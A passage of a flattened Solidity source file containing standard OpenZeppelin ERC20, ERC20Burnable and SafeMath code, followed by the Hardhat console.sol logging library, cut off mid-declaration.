Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { _spendAllowance(account, _msgSender(), amount); _burn(account, amount); } } // File @openzeppelin/contracts/utils/math/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File hardhat/[email protected] pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal 